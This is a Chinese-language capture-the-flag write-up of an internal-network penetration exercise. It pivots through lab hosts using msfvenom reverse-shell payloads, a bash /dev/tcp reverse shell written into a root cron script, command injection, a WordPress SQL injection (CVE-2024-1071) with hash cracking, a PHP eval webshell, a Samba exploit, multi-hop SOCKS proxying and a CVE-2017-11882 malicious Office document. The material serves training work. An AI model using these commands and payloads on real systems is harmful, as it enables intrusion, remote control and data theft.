长城杯决赛内网渗透部分

该文章更新于 2024.09.27

小白对渗透的初尝试

长城杯决赛内网渗透部分

简单网络拓扑

img

准备工作

信息收集

由于是内网渗透,前面拿靶机权限的过程略过。我们现在已经拿到了靶机的root权限,但是内网还有几个web服务没打。

查看日志文件

image-20240728094400269

发现172.25.0.0的网段。传fscan扫一下有哪些ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@photosite:/tmp# ./fscan -h 172.25.0.1/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.25.0.7 is alive
(icmp) Target 172.25.0.2 is alive
(icmp) Target 172.25.0.254 is alive
(icmp) Target 172.25.0.100 is alive
(icmp) Target 172.25.0.253 is alive
[*] Icmp alive hosts len is: 5
172.25.0.100:8080 open
172.25.0.100:445 open
172.25.0.100:139 open
172.25.0.100:80 open
172.25.0.7:80 open
172.25.0.2:80 open
172.25.0.100:22 open
172.25.0.2:22 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.25.0.2 code:200 len:747 title:None
[*] WebTitle http://172.25.0.100 code:200 len:750 title:Index of /
[*] WebTitle http://172.25.0.100:8080 code:200 len:256 title:None
[*] NetBios 172.25.0.100 STORAGE\STORAGE Windows 6.1
[*] OsInfo 172.25.0.100 (Windows 6.1)
[*] WebTitle http://172.25.0.7 code:200 len:93114 title:一个好网站

MSF配合proxychains配置代理

uname -a

1
Linux photosite 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux

生成马

1
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.203.87 LPORT=2333 -f elf > shell.elf

弹shell

1
2
3
4
5
6
msfconsole                                       
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.203.87
set lport 2333
exploit

靶机执行shell.elf。

成功弹shell

image-20240727164857257

设置机器代理

1
run autoroute -s 172.25.0.0/24

image-20240728095849462

配置socks代理

1
2
3
4
5
6
background                                      
use auxiliary/server/socks_proxy
#选项使用默认的host:0.0.0.0 port:1080
exploit

jobs

image-20240727165127422

image-20240727165243030

修改配置文件:

1
2
3
4
vim /etc/proxychains.conf

[ProxyList]
socks5 127.0.0.1 1080

这样就上线成功,访问到202.0.2.32的内网172.25.0.2的机器。

image-20240727171038369

videosite

IP:172.25.0.2

image-20240728100729279

配置bp代理。

image-20240728100700744

抓包看看情况

image-20240728100853205

看一下后是

1
yt_utl=https://www.youtube.com/watch?v=1

分析响应包,估计是curl 下载www.youtube.com的视频

我们||同时执行两条命令。成功执行。成功

image-20240728101359044

拿webshell的flag,这里过滤了空格,我们随便绕一下。

image-20240728103235576

1
flag10{573dca8802b944a54838269f04b80958}

我们生成一个php反弹shell的马

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.203.87 lport=2345 -f raw > exp.php

起一个web服务

1
python3 -m http.server 8888

172.25.0.2下载php马

wget%09http://192.168.203.87:8888/exp.php

msf监听

1
2
3
4
5
6
proxychains msfconsole                                         
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.203.87
set lport 2345
exploit

访问木马触发。这是172.25.0.2的机器信息。

1
2
3
4
5
6
meterpreter > sysinfo
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Computer : videosite
OS : Linux videosite 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64
Meterpreter : php/linux

用pspy 检测进程

发现clean.sh是www-data用户可写的。并且它是root执行的。我们修改一下这个文件。

1
echo -n 'bash -i >& /dev/tcp/192.168.203.87/9999 0>&1' >clean.sh

image-20240728121732417

image-20240728121757657

1
flag11{2455ed88a0fc5051923ecb918d825474}

这台机子就打完了。

Wordpress

IP:172.25.0.7

可以看到这是个wordpress框架的服务。

1
proxychains firefox

image-20240728141227226

那还想什么,赶紧用wpscan开扫

使用CVE-2024-1071的exp拿到sql语句

1
proxychains python3 exploiot.py http://172.25.0.7

image-20240728163626887

1
proxychains sqlmap -u http://172.25.0.7/wp-admin/admin-ajax.php --method POST --data "action=um_get_members&nonce=a5ffeb8552&directory_id=b9238&sorting=user_login" --dbms mysql --technique=T -p sorting

用sqlmap拿到密码的哈希

1
$P$Bf4lC73BWrTvg6Zhp3ISWpqetY1NWm0

hashcat爆破

1
hashcat -m 400 hash.txt rockyou.txt 

image-20240728151848196

账号密码

1
2
admin
jimmyissohot

image-20240728161943960

wp后台文章中拿到flag18

1
flag18{ba248c985ace94863880921d8900c53f}

image-20240728162036661

但是这个插件的php不能访问,会报403。我们把后台另一个插件关闭,这样之后去修改另一个插件的php代码,用蚁剑连接。

1
http://172.25.0.7/wp-content/plugins/hello.php

蚁剑连接。

web目录找到flag19

image-20240729103053843

1
flag19{a8cb6b851521c5de909cff763202d030}

下一个flag是数据库中的。

image-20240729103157574

拿到数据库信息。

1
2
3
WORDPRESS_DB_USER=wordpress
WORDPRESS_DB_NAME=wordpress
WORDPRESS_DB_PASSWORD=wordpress

蚁剑的终端是虚拟终端,进行不了数据库操作。所以我们弹个shell到202.0.2.32上。

image-20240729110745468

1
mysql -h172.18.0.2 -uwordpress -pwordpress -e "use wordpress;show tables;"

估计得root才能拿到flag了。

image-20240729115304254

上传了一个adminer.php具体翻翻每个表。仍然没有。那肯定就是得root才能看到了

image-20240729115808175

我这里就不展示了,其实是提权没成功😭😭😭。

samba

ip:172.25.0.100

image-20240728162246353

image-20240728165333315

发现flag12

1
flag12{76e24b847fdf0208195fffba98731234}

image-20240728165229197

发现另一个ip:http://192.168.1.5:8888/CalcService/以及flag14

1
flag14{8f552743a81f9bc517a35a5421e76764}

接下来对ip进行深度扫描

1
proxychains nmap -Pn -sT 172.25.0.100

发现139端口。

image-20240728163346697

看看有什么服务。

1
proxychains nmap -sV -Pn -sT 172.25.0.100 -p139

发现是一个samba服务

image-20240728165823977

直接用Nday打

1
2
3
4
proxychains msfconsole
use exploit/linux/samba/is_known_pipename
set rhost 172.25.0.100
run

成功拿到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[*] Found shell.
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.25.0.100:445 ... OK
[*] Command shell session 1 opened (127.0.0.1:41402 -> 127.0.0.1:1080) at 2024-07-28 17:00:25 +0800

id
uid=0(root) gid=0(root) groups=0(root)
pwd
/tmp
ls /
bin
.......
vmlinuz
cd /var/www/html
ls
testweb
cd ..
ls
flag
html
cat flag
flag13{1c2421cd903b4fe3cf6cbd3900a7d786}

flag13

1
flag13{1c2421cd903b4fe3cf6cbd3900a7d786}

ip:172.25.0.100:8080

image-20240728165555795

这就是之前提到的view.py里面的add函数实现的功能。无flag。

office

ip:192.168.1.5

通过Venom实现多层代理

venom下载

刚刚提到了setting.py里面有一个192.168.1.5的ip。它是172.25.0.100的内网。所以我们要实现两层代理。

拿到172.25.0.100的shell之后,在web目录写马上去。

echo -n "<?php eval(\$_POST['a']);phpinfo();?>" | tee -a a.php。发现此机器没有php环境。所以写的马没有用。那我们只能采用新的方法来传我们的文件来实现多层代理了。

这里详细讲述一下多层代理过程

一层代理

202.0.2.3(靶机)

1
root@photosite:/# ./agent_linux_x86 -lport 9900

kali

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/桌面/tools/Venom v1.1.0]
└─# ./admin_linux_x86 -rhost 202.0.2.32 -rport 9900
(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
node 1
(node 1) >>> socks 9900

此时/etc/proxychains.conf的文件内容为

1
2
[ProxyList]
socks5 127.0.0.1 9900

这样kali就可以访问202.0.2.32下的内网172.25.0.100

二层代理

kali1(拿到172.25.0.100的shell)

1
2
3
4
5
┌──(root㉿kali)-[~/CVE-2024-1071-main]
└─# proxychains msfconsole
msf6 > use exploit/linux/samba/is_known_pipename
msf6 exploit(linux/samba/is_known_pipename) > set rhost 172.25.0.100
msf6 exploit(linux/samba/is_known_pipename) > run

kali2(kali再启动一个web服务)

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/桌面/tools/Venom v1.1.0]
└─# proxychains python3 -m http.server 8888
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
202.0.2.9 - - [29/Jul/2024 15:04:25] "GET /agent_linux_x86 HTTP/1.1" 200 -

kali1(控制172.25.0.100中)

1
2
wget http://192.168.203.87:8888/agent_linux_x86
chmod +x agent_linux_x86

kali(vennom:admin端)

1
(node 1) >>> listen 9899

kali1

1
./agent_linux_x86 -rhost 202.0.2.32 -rport 9899

kali

1
2
3
4
5
6
7
(node 1) >>> show
A
+ -- 1
+ -- 2
(node 1) >>> goto 2
node 2
(node 2) >>> socks 9899

修改/etc/proxychains.conf

1
2
[ProxyList]
socks5 127.0.0.1 9899

现在成功访问到172.25.0.100的内网192.168.1.5

攻击

image-20240729151305406

上传php,没有用。根据提示上传txt拿到flag15

image-20240729151441952

1
flag15{275c589c83e6f1373c823f8c015d659b}

题目说会有人员审核,那肯定有人打开文件。利用office的漏洞,制作一个后门文件。

CVE-2017-11882

1
2
3
4
5
6
7
8
msfconsole
use exploit/windows/fileformat/office_ms17_11882
set windows/meterpreter/reverse_tcp
set srvport 8000
set uripath aaa
set lhost 192.168.203.87
set filename haha.doc
run

image-20240729152232866

再开启本地监听。

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.203.87
set lport 4444
run

上传文件后,发现成功拿到shell。

image-20240729154319069

getuid看到是管理员权限。

image-20240729154442634

c盘下的phpstudy\www目录,也就是web目录下发现flag16

image-20240729154607120

1
flag16{3d207c96ba2abe5c6a79397857935d9f}

并且在c盘根目录发现flag。但是权限不够。所以我们需要提权到system权限才能读到flag。

image-20240729154800653

1
2
3
4
meterpreter > cat flag.txt
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[-] core_channel_open: Operation failed: Access is denied.

直接利用MSF的getsystem拿到system权限

1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > getsystem
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
meterpreter > getuid
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Server username: NT AUTHORITY\SYSTEM

image-20240729155007942

拿到flag17

1
flag17{7ebb1a27655a89ef55903c5870ec7710}

或者利用ms15-077提权到system。这里就不展示了。

到这里,整个内网也就结束了。